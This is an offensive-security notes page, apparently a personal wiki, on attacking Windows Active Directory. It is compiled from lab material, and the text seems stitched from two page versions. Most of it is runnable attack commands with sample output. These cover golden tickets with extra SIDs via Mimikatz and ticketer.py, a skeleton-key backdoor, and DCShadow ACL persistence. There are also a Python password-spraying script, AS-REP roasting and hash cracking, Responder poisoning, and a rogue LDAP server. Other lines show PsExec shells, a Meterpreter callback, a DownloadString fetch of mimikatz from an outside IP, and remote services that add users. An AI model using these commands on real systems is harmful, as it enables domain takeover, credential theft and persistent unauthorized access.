'''Crafting the Golden Ticket with Extra SIDs:'''

* Imagine an attacker manages to compromise the krbtgt account of a domain. This is akin to finding a master key. With this, they can meticulously craft a special Kerberos ticket, termed a "golden ticket." This ticket can be manipulated, almost like forging a passport, to include extra SIDs. Specifically, they can add the SID of the Enterprise Admins group from another domain. This means, even if the attacker was initially confined to one domain, this ticket can catapult them to Enterprise Admin rights in another domain.

<syntaxhighlight lang="bash">
# From Windows
# Extract the password hash of the krbtgt account.
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
# Golden Ticket Creation: Armed with the hash, we can proceed use the kerberos::golden command in Mimikatz. Craft a golden ticket, and append the SID of the Enterprise Admins group from another domain to the ExtraSids field.
# As part of the kerberos::golden command’s arguments, we will need the domain SID for both domains. We can obtain these with Get-DomainSID from PowerView:
PS C:\tools> Get-DomainSID -Domain prod.corp1.com
S-1-5-21-3776646582-2086779273-4091361643
PS C:\tools> Get-DomainSid -Domain corp1.com
S-1-5-21-1095350385-1831131555-2412080359

mimikatz # kerberos::golden /user:h4x /domain:prod.corp1.com /sid:S-1-5-21-3776646582-2086779273-4091361643 /krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-1095350385-1831131555-2412080359-519 /ptt
...
Golden ticket for 'h4x @ prod.corp1.com' successfully submitted for current session

# Get command exec
C:\tools> c:\tools\SysinternalsSuite\PsExec.exe \\rdc01 cmd
...
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

# Verifying Group Memberships
C:\Windows\system32> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type
============================================ ================
Everyone Well-known group
...
PROD\Domain Admins Group
PROD\Group Policy Creator Owners Group
Unknown SID type
Unknown SID type
CORP1\Enterprise Admins Group
...
-----------------------------------------------
# From Linux
https://www.thehacker.recipes/ad/movement/trusts#forging-tickets
ticketer.py -nthash KRBTGT-hash -domain DOMAIN NAME -domain-sid TARGET DOMAIN SID with RID.(can be administrator sid with 500 rid)
ticketer.py -nthash 0540fe51ddd618f42a66ef059ac36555 -domain internal.domain.com -domain-sid S-1-5-21-3056178012-3972705859-491075555 -extra-sid S-1-5-21-2734290894-461713716-14185555-519 Administrator
# Add ccache to krb5ccname
export krb5ccname=Administrator.ccache
# Use secretsdump or psexec or netexec
secretsdump.py 'internal.domain.com/Administrator'@DC01.domain.com -k -no-pass
</syntaxhighlight>

=== SID filtering ===

Forest trust introduces the concept of SID filtering. In forest trust, the contents of the ExtraSids field are filtered so group memberships are not blindly trusted.

<syntaxhighlight lang="bash">
# Using PowerView we can enumerate domain trust on the target domain. We have already compromised corp1.com and we want to generate a golden ticket using the technique above.
PS C:\> Get-DomainTrust -Domain corp2.com
...
TrustAttributes : FOREST_TRANSITIVE
...
# Sometimes orgs need to relax SID filtering protectiong because of merger or other resons. That can be done by enabled SID history, which relax the protection.
C:\Users\Administrator> netdom trust corp2.com /d:corp1.com /enablesidhistory:yes
Enabling SID history for this trust.
The command completed successfully.
# Microsoft dictated that any SID with a RID less than 1000 will always be filtered regardless of the
SID history setting.
# This means we need to find a non-default group, because they will always have a RID higher than 1000.
# We can enumerate members of the built-in administrators on target domain.
Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com
# Once we have everything (The two domain SIDs, krbtgt NTLM hash, and a non-default group RID) we can request a golden ticket using mimikatz.
kerberos::golden /user:h4x /domain:corp1.com /sid:S-1-5-21-1095350385-
1831131555-2412080359 /krbtgt:22722f2e5074c2f03938f6ba2de5ae5c /sids:S-1-5-21-
4182647938-3943167060-1815963754-1106 /ptt
# And gain access to target
C:\> PsExec.exe \\dc01.corp2.com cmd
...
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
corp1\h4x

# Meterpreter shell using run.txt
msf6 exploit(multi/handler) > run
[*] Meterpreter session 2 opened (192.168.45.169:443 -> 192.168.174.80:63561) at 2023-10-11 15:24:53 -0400
meterpreter > getuid
Server username: CORP1\h4x
meterpreter > sysinfo
Computer : DC01
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : CORP2
Logged On Users : 16
Meterpreter : x64/windows
meterpreter >
</syntaxhighlight>

== Silver Ticket ==

== AdminSDHolder Group ==

== DSRM Credentials ==

== ACL Persistence ==

== Security Descriptors ==

== Skelton Key ==

<syntaxhighlight lang="bash">
Run from DC. Enables password “mimikatz” for all users.
privilege::debug
misc::skeleton
</syntaxhighlight>

== Custom SSP ==

== DCShadow ==

[https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/#dcshadow OSEP Cheat Sheet | 0x4rt3mis]

DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.

Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses <code>Set-DCShadowPermissions.ps1</code> cmdlet).

<syntaxhighlight lang="powershell">
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose
</syntaxhighlight>

Then, from any machine, use Mimikatz to stage the DCShadow attack.

<syntaxhighlight lang="bash">
# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519
# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl
## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;<nowiki>[[S-1-5-21-1874506631-3219952063-538504511-45109]]</nowiki>)
</syntaxhighlight>

Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs.

<syntaxhighlight lang="bash">
lsadump::dcshadow /push
</syntaxhighlight>

= You got domain admin, now what =

[https://infosecwriteups.com/you-got-domain-admin-now-what-aab749c4200d You got Domain Admin, now what?. Typically when you’re starting out on… | by Jevon Davis | InfoSec Write-ups (infosecwriteups.com)]

[https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html You-got-Domain-Admin-now-what_-InfoSec-Write-ups][https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html Download]
[[Category:Offensive Security]]

Offensive Security/Active Directory

2026-06-11T08:28:59Z

Administrator: /* Living Off the Foreign Land */

[[File:2022-06-13-132814_active-directory-logo-hd-png-download.png|thumb]]

These are my notes from the Active Directory networks at TryHackMe, as well as notes from other sources.

Inspo:

<syntaxhighlight lang="bash">
https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/
E's methodology
https://zer1t0.gitlab.io/posts/attacking_ad/
https://bitbin.it/SKZrPTcu/
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
https://book.hacktricks.xyz/
</syntaxhighlight>

'''Work in progress'''

= References Matrix =

[https://www.secureauth.com/labs/open-source-tools/impacket/ Impacket – SecureAuth]

{| class="wikitable"
|-
! Name
! Explanation
! Tools/attack example
|-
| Unconstrained delegation
| Allows a service to delegate user credentials to any service on any computer.
| Exploiting unconstrained delegation involves accessing services running with SYSTEM or higher privileges.
|-
| Constrained delegation
| Allows delegation only to specific services.
| Attacking constrained delegation involves accessing specified services, using tools like Rubeus to exploit TGTs.
|-
| Resource-based constrained delegation
| Delegation rights are set on the resource's ACL, allowing greater flexibility in specifying delegation.
| Using Rubeus or similar tools to manipulate resource ACLs for privilege escalation.
|-
| mimikatz.exe
| Dump hashes and credentials from memory.
| mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
|-
| invoke-mimikatz
| PowerShell version of mimikatz.
| `(New-Object System.Net.WebClient).DownloadString('[http://192.168.119.120/mimikatz.txt http://192.168.119.120/mimikatz.txt]')
|-
| invoke-mimidogz
| Obfuscated version of invoke-mimikatz to avoid AV detection.
| GitHub – fir3d0g/mimidogz: Rewrite of Invoke-Mimikatz.ps1 to avoid AV detection
|-
| invoke-sohighsohigh
| One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition.
| Invoke-OneShot-Mimikatz.ps1 – One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition (Tested and worked on Windows 10 x64 patched 2022-03-26)
|-
| SpoolSample.exe
| Coerce a computer to make an authentication in order to abuse print bug.
| Exploiting the print spooler bug using SpoolSample.exe to force authentication and capture credentials.
|-
| rubeus.exe
| Kerberos interaction and abuse tool, supporting pass-the-ticket, overpass-the-hash, ticket extraction, etc.
| Rubeus.exe tgtdeleg /user:username /rc4:hash /domain:domain /sid:sid /target:target /nowrap
|-
| impacket-secretsdump
| Dump secrets from a remote machine's registry hives.
| secretsdump.py domain/user:password@target
|-
| impacket-krbrelayx
| Tool for relaying Kerberos authentication.
| krbrelayx.py -h to see usage and examples for relaying Kerberos tickets.
|-
| impacket-mssql
| SQL server attack tool, capable of executing commands and dumping credentials.
| impacket-mssql domain/user:pass@target -windows-auth (use -windows-auth for Windows authentication).
|-
| impacket-ticketconverter
| Converts kirbi files (used by mimikatz) into ccache files (used by Impacket) and vice versa.
| ticketConverter.py <inputfile> <outputfile> to convert between kirbi and ccache formats.
|-
| ticketer.py
| Creates Golden/Silver tickets allowing customization of parameters like groups, ExtraSids, duration, etc.
| ticketer.py -nthash <nthash> -domain-sid <sid> -domain <domain> -user <username>
|-
| setSPN
| Set Service Principal Names for accounts to allow Kerberos authentication.
| setspn -A <SPN> <Account>
|-
| LOLBas
| Living Off The Land Binaries and Scripts – using built-in Windows tools for malicious purposes.
| Utilizing regsvr32.exe, mshta.exe, or other built-in tools for executing malicious payloads without dropping binaries.
|-
| gtfobins
| Repository of Unix binaries that can be used to bypass local security restrictions.
| Using cp, vim, or other listed Unix binaries to escalate privileges or maintain persistence.
|}

----

= LOLBAS - Living off the land =

[https://lolbas-project.github.io/ https://lolbas-project.github.io/]

= WADComs - Very useful cheatsheet =

https://wadcoms.github.io/

= Icebreaker =

[https://github.com/DanMcInerney/icebreaker GitHub - DanMcInerney/icebreaker: Gets plaintext Active Directory credentials if you're on the internal network but outside the AD environment]

----

= AD Methodology =

* First step is to find valid credentials, that could either be a username, hashes or if lucky, username and password.

* Once you have access to target, enumerate AD. Relations between users, groups. Use BloodHound etc.

* Escalate privilege on local machine to local administrator

* Extract hashes if possile.

* Escalate to domain admin.

[[File:2022-07-image.png|thumb]]

----

= Mindmap - Current 2025 =

[https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg]

[https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg mindmap_ad_dark_classic_2025.03.excalidraw][https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg Download]

= Mindmap - Nr 2 =

[https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/ https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/]

[https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Active-Directory-Penetration-Manual][https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Download]

= Mindmap - Nr 3 =

[https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg]

[[File:2023-11-pentest_ad_dark_2023_02-1.svg|thumb]]

[https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg pentest_ad_dark_2023_02][https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg Download]

= Active Directory Theory =

== Object Permission (ACE, DACL, SIDs...) ==

* '''Active Directory Securable Object Permissions''': Determines who can access an AD object and what they can do with it.

* '''Discretionary Access Control List''' (DACL): Controls access to an object. Comprises a series of Access Control Entries (ACE).

* '''Access Control Entry''' (ACE): Each ACE defines whether access to the object is allowed or denied, the entity it applies to, and the type of access.

* '''Order of ACEs:''' If a deny ACE precedes an allow ACE, the deny takes precedence (first match principle).

* '''Security Descriptor Definition Language''' (SDDL): A string-delimited method by which ACEs are stored.

'''ACE String Example'''

<code>(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)</code>

'''Translation:'''

<code>AceType: A = ACCESS_ALLOWED_ACE_TYPE</code>

'''Access rights:'''

<syntaxhighlight lang="bash">
RP = ADS_RIGHT_DS_READ_PROP
WP = ADS_RIGHT_DS_WRITE_PROP
CC = ADS_RIGHT_DS_CREATE_CHILD
DC = ADS_RIGHT_DS_DELETE_CHILD
LC = ADS_RIGHT_ACTRL_DS_LIST
SW = ADS_RIGHT_DS_SELF
RC = READ_CONTROL
WD = WRITE_DAC
WO = WRITE_OWNER
GA = GENERIC_ALL
Ace Sid: S-1-1-0
</syntaxhighlight>

'''DACL Enumeration via PowerView'''

* To Import PowerView in PowerShell:

<code>PS C:\tools> . .\powerview.ps1</code>

'''To Enumerate DACLs of a User (e.g., offsec):'''

<code>PS C:\tools> Get-ObjectAcl -Identity offsec</code>

'''To Resolve SID to a Username or Group:'''

<code>PS C:\tools> ConvertFrom-SID <SID></code>

'''Automating SID Conversion:'''

<code>PS C:\tools> Get-ObjectAcl -Identity offsec -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}</code>

== Kerberos ==

=== Kerberos Authentication graph ===

[https://narekkay.fr/linkedin/kerberos.gif kerberos.gif (1080×1564) (narekkay.fr)]

[[File:2023-10-kerberos-1.gif|thumb]]

'''Background'''

* Kerberos: A network authentication protocol that provides strong authentication for client-server applications.

* Main Issue: Kerberos double-hop – The inability to pass authentication from one server to another server on behalf of the user.

=== Microsoft’s Kerberos Delegation Solutions ===

'''a) Unconstrained Delegation (2000):'''

* Overview: Allows the service to impersonate a user to any other service.

* '''Pros:'''
Simple to implement.

* '''Cons:'''
Less secure: Any service can impersonate the user without restriction.

'''b) Constrained Delegation (2003)'''

* Overview: Allows the service to impersonate a user, but only to specified services.

* '''Pros:'''
More secure than unconstrained as it limits the services to which a user can be impersonated.

* '''Cons:'''
Requires service-specific configuration.

'''c) Resource-based Constrained Delegation (2012)'''

* Overview: Extension of constrained delegation, allows the target service to define who can delegate to it.

* Requirements: Domain functional level of 2012.

* '''Pros:'''
Greater control over which accounts can impersonate users to it.

* '''Cons:'''
Requires a newer domain functional level.

=== Exploiting Kerberos Delegation: ===

'''Unconstrained Delegation Exploitation:'''

* Unconstrained delegation is a feature in Kerberos that allows a service to impersonate a user to any other service. While this might be useful in scenarios like multi-tier applications, it can pose significant security risks if misconfigured or abused.

'''Constrained Delegation Exploitation:'''

* Constrained delegation is a feature in the Kerberos authentication protocol that permits a service to impersonate a user to a specified set of services, as opposed to any service.

'''Resource-based Constrained Delegation Exploitation:'''

* Resource-based constrained delegation (RBCD) is an extension of constrained delegation, providing a more granular level of control over delegation permissions. In RBCD, the permissions for delegation are set on the resources (services) themselves, specifying which services (or servers) are allowed to impersonate users to them.

=== Difference between ASREProast and Kerberoasting ===

[https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/ https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/]

'''AS_REP Roasting''' is taking place during the initial authentication procedure within Kerberos. It´s abusing the fact, that for accounts with the option '''Do not require Kerberos preauthentication''' set, there is no need to send the (normally required) encrypted timestamp (with the users password hash) at the very beginning. Thus everyone on the network who knows the name of an affected account may ask the '''KDC''' to authenticate as that user and in return fetch a '''AS_REP''' response which partly is encrypted with the AS_REP roastable account´s password hash. Once obtained, an attacker can try to offline crack the hash and fetch the cleartext credentials.

'''Kerberoasting''' aims at asking for service tickets related to services on the network where the '''SPNs''' are tied to user accounts, rather than computer accounts. The background here is that if a person creates a user he will choose the password most likely according to human standards i.e. a phrase, a word mixed with numbers, etc. If that password is weakly chosen, then it is possible to crack the hash and get the cleartext credentials.
During the process of asking to access a service on the network, the '''TGS''' will send a data package that contains a service ticket which is encrypted with the service-account´s password hash, that again like in the '''AS_REP roasting''' attack can be cracked offline.

= Finding valid credentials =

== Pentest network ==

See [https://blog.aghanim.net/?page_id=2041 methodology]

* Try exploit vulnerabilities on open ports

* Try extract credentials from open ports

== Enumerate DNS ==

<syntaxhighlight lang="bash">
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
</syntaxhighlight>

== OSINT and Phishing ==

* Check public forums like [https://stackoverflow.com/ Stack Overflow]

* Check public repo on github

* Breached credentials. (Dehashed, intelx etc)

* Google dorking

== Null and Guest access on SMB services ==

<syntaxhighlight lang="bash">
enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p ""
smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H
smbclient -U '%' -L // && smbclient -U 'guest%' -L //
</syntaxhighlight>

== NTLM Relay attack ==

NTLM relay is a technique that allows an attacker to intercept and forward NTLM authentication requests between a client and a server. The attacker can use this technique to gain access to the server or perform other actions on behalf of the client. For example, an attacker can use NTLM relay to dump the hashes of all domain users from a domain controller using DCSYNC.

Example: an attacker could use PetitPotam to force a domain controller to authenticate to a malicious server and then relay the NTLM request to another domain controller and perform a DCSync operation, which allows the attacker to dump all the password hashes from Active Directory. This could result in a complete takeover of the Windows domain.

<syntaxhighlight lang="bash">
https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
This module performs the SMB Relay attacks originally discovered by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).
It receives a list of targets and for every connection received it will choose the next target and try to relay the credentials. Also, if specified, it will first to try authenticate against the client connecting to us.
It is implemented by invoking a SMB and HTTP Server

https://github.com/CCob/lsarelayx
lsarelayx is system wide NTLM relay tool designed to relay incoming NTLM based authentication to the host it is running on. lsarelayx will relay any incoming authentication request which includes SMB.

https://github.com/topotam/PetitPotam
PetitPotam is a technique that can be used to perform NTLM relay attacks against Windows servers, including domain controllers.

https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html
Good explanation of NTLM relay.
</syntaxhighlight>

== NTLM Authenticated Services ==

New Technology LAN Manager (NTLM) is the suite of security protocols used to authenticate users' identities in AD.

<syntaxhighlight lang="python">
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
#Reset valid credential counter
count = 0
#Iterate through all of the possible usernames
for user in self.users:
#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
#Read status code of response to determine if authentication was successful
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
</syntaxhighlight>

<syntaxhighlight lang="bash">
python ntlm_passwordspray.py -u -f -p -a
- Textfile containing our usernames - "usernames.txt"
- Fully qualified domain name associated with the organisation that we are attacking - "za.tryhackme.com"
- The password we want to use for our spraying attack - "Changeme123"
- The URL of the application that supports Windows Authentication - "http://ntlmauth.za.tryhackme.com"
</syntaxhighlight>

== LDAP ==

See [https://blog.aghanim.net/?page_id=1809#389_636_3268_3269_-_LDAP cheatsheet LDAP]

LDAP authentication is similar to NTLM authentication. However, with LDAP authentication, the application directly verifies the user's credentials. The application has a pair of AD credentials that it can use first to query LDAP and then verify the AD user's credentials.

<syntaxhighlight lang="bash">
nmap -n -sV --script "ldap* and not brute" -p 389
</syntaxhighlight>

<syntaxhighlight lang="bash">
ldapsearch -x -h 192.168.89.122 -b "dc=hutch,dc=offsec" > ldap.searchquery
</syntaxhighlight>

=== LDAP Pass-back Attack ===

In an LDAP Pass-back attack, we can modify this IP to our IP and then test the LDAP configuration, which will force the device to attempt LDAP authentication to our rogue device.

<syntaxhighlight lang="bash">
# Setup rogue LDAP server
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
# Configure the rogue LDAP server
sudo dpkg-reconfigure -p low slapd
# Make rogue LDAP server vulnerable by downgrading the supporten authentication mechanism. Add this to a file called "olcSalSecProps.ldif":
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

olcSaslSecProps: Specifies the SASL security properties
noanonymous: Disables mechanisms that support anonymous login
minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.
# Now we can use the ldif file to patch our LDAP server using the following:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
# Verify rogue LDAP servers config
[kali@kali]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Capturing LDAP Credentials. We will have to trigger the authenticaiton to go to our rogue LDAP server.
sudo tcpdump -SX -i eth0 tcp port 389
</syntaxhighlight>

== Authentication Relays ==

Responder allows us to perform Man-in-the-Middle attacks by poisoning the responses during NetNTLM authentication, tricking the client into talking to you instead of the actual server they wanted to connect to. On a real LAN, Responder will attempt to poison any Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Servier (NBT-NS), and Web Proxy Auto-Discovery (WPAD) requests that are detected.

<syntaxhighlight lang="bash">
# https://github.com/lgandx/Responder
# Start responder
sudo responder -I tun0
# Downgrade NTLM authentication when possible. Allow capture NTLMv1 challenge and response.
#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
responder -I --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade
</syntaxhighlight>

== Microsoft Deployment Toolkit ==

Microsoft Deployment Toolkit (MDT) is a Microsoft service that assists with automating the deployment of Microsoft Operating Systems (OS).

<syntaxhighlight lang="powershell">
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile
Get-FindCredentials -WimFile pxeboot.wim
</syntaxhighlight>

----

----

= User enumeration =

When an '''invalid username is requested''' the server will respond using the '''Kerberos error''' code ''KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN''

<syntaxhighlight lang="bash">
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'"
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='',userdb=/root/Desktop/usernames.txt
msf> use auxiliary/gather/kerberos_enumusers
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
nxc smb dc01.manager.htb -u anonymous -p "" --rid-brute 10000
</syntaxhighlight>

== Knowing a userame(s) ==

=== ASREPRoast ===

The ASREPRoast attack looks for '''users without Kerberos pre-authentication required attribute ('''[https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro DONT_REQ_PREAUTH]''''')'''''.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast]

That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.

<syntaxhighlight lang="bash">
# ENUMERATE VULNERABLE USERS (NEED DOMAIN CREDS)
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
------------------------------------------------------------------------
# REQUEST AS_REP MESSAGE
# Linux
# Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
# Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
# Windows
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
------------------------------------------------------------------------
# Cracking the hashes
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
------------------------------------------------------------------------
# PERSISTENCE
# Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):
Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose
</syntaxhighlight>

=== Password spraying ===

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying]

Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames https://github.com/insidetrust/statistically-likely-usernames]

<syntaxhighlight lang="bash">
# PASSWORD POLICY
# Need valid creds
crackmapexec -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P
(Get-DomainPolicy)."SystemAccess" #From powerview
------------------------------------------------------------------------
# LOCKOUT CHECK
# https://github.com/Greenwolf/Spray
# To prevent lockout it's best not to try with more than 5/7 passwords per account.
spray.sh -smb
------------------------------------------------------------------------
# PASSWORD SPRAYING
crackmapexec smb -u users.txt -p passwords.txt
## Successor to crackmapexec
nxc smb -u users.txt -p passwords.txt [-H hashes.txt]
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
# with a list of users
.\Rubeus.exe brute /users: /passwords: /domain: /outfile:
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords: /outfile:
------------------------------------------------------------------------
# Crack hash
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
------------------------------------------------------------------------
# Powershell passwordspraying script
https://github.com/dafthack/MSOLSpray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
</syntaxhighlight>

----

= Enumerating Active Directory with valid credentials/session =

== Shell with credentials ==

If you have valid credentials you could try to get a shell.

To get shell with Administrator user and not with NT Authority\system, use WinExec or Evil-Winrm

<syntaxhighlight lang="bash">
# CrackMapExec
# Validate if credentials found is valide, and which protocol you can use to get a shell. {ssh,smb,mssql,winrm,ldap} Notice Pwn3d! with creds enox:california
crackmapexec winrm 192.168.204.165 -u enox -p california
WINRM 192.168.204.165 5985 NONE [+] None\enox:california (Pwn3d!)
# Can also be used to brute force
crackmapexec -u ~/file_containing_usernames -p ~/file_containing_passwords
crackmapexec -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes

# SSH - Port 22
# If SSH is open try to SSH to target
ssh user@target [-i id_rsa]

# WinRM - Port 5895, 5896
# If port 5985,5986 is open, try Evil-Winrm
gem install evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i /
evil-winrm -u Administrator -H 'Use_hash_here' -i /
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

# PTH-winexe
Basic syntax w/ credentials.
winexe -U % // cmd.exe
Basic syntax w/ NTLM hash (pass the hash technique).
pth-winexe -U % // cmd.exe

# RDP - Port 3389
xrdp target
remmina
rdesktop target

# PSExec & SMBExec - Port 445
# Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershell.exe and put in the arguments the payload --file-less technique--).
# If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]
./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
# From sysinternals
PsExec.exe -i -u domain\user cmd.exe
# PSExec with Powershel
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Enter-PSSession -Computername TARGET -Credential $credential
# If there is a config file, use -ConfigruationName
Enter-PSSession -ComputerName TARGET -ConfigurationName CONFIG_NAME
# Powershell also includes the Invoke-Command cmdlet, which runs ScriptBlocks remotely via WinRM. Credentials must be passed through a PSCredential object as well:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

# Remotely creat services using sc - port 135,445,139
sc.exe \\TARGET create AGservice binPath= "net user test test123 /add" start= auto
sc.exe \\TARGET start AGservice
# Stop or delete service
sc.exe \\TARGET stop AGservice
sc.exe \\TARGET delete AGservice

# Creating scheduled tasks remotely
schtasks /s TARGET /RU "SYSTEM" /create /tn "AGtask1" /tr "" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "AGtask1"
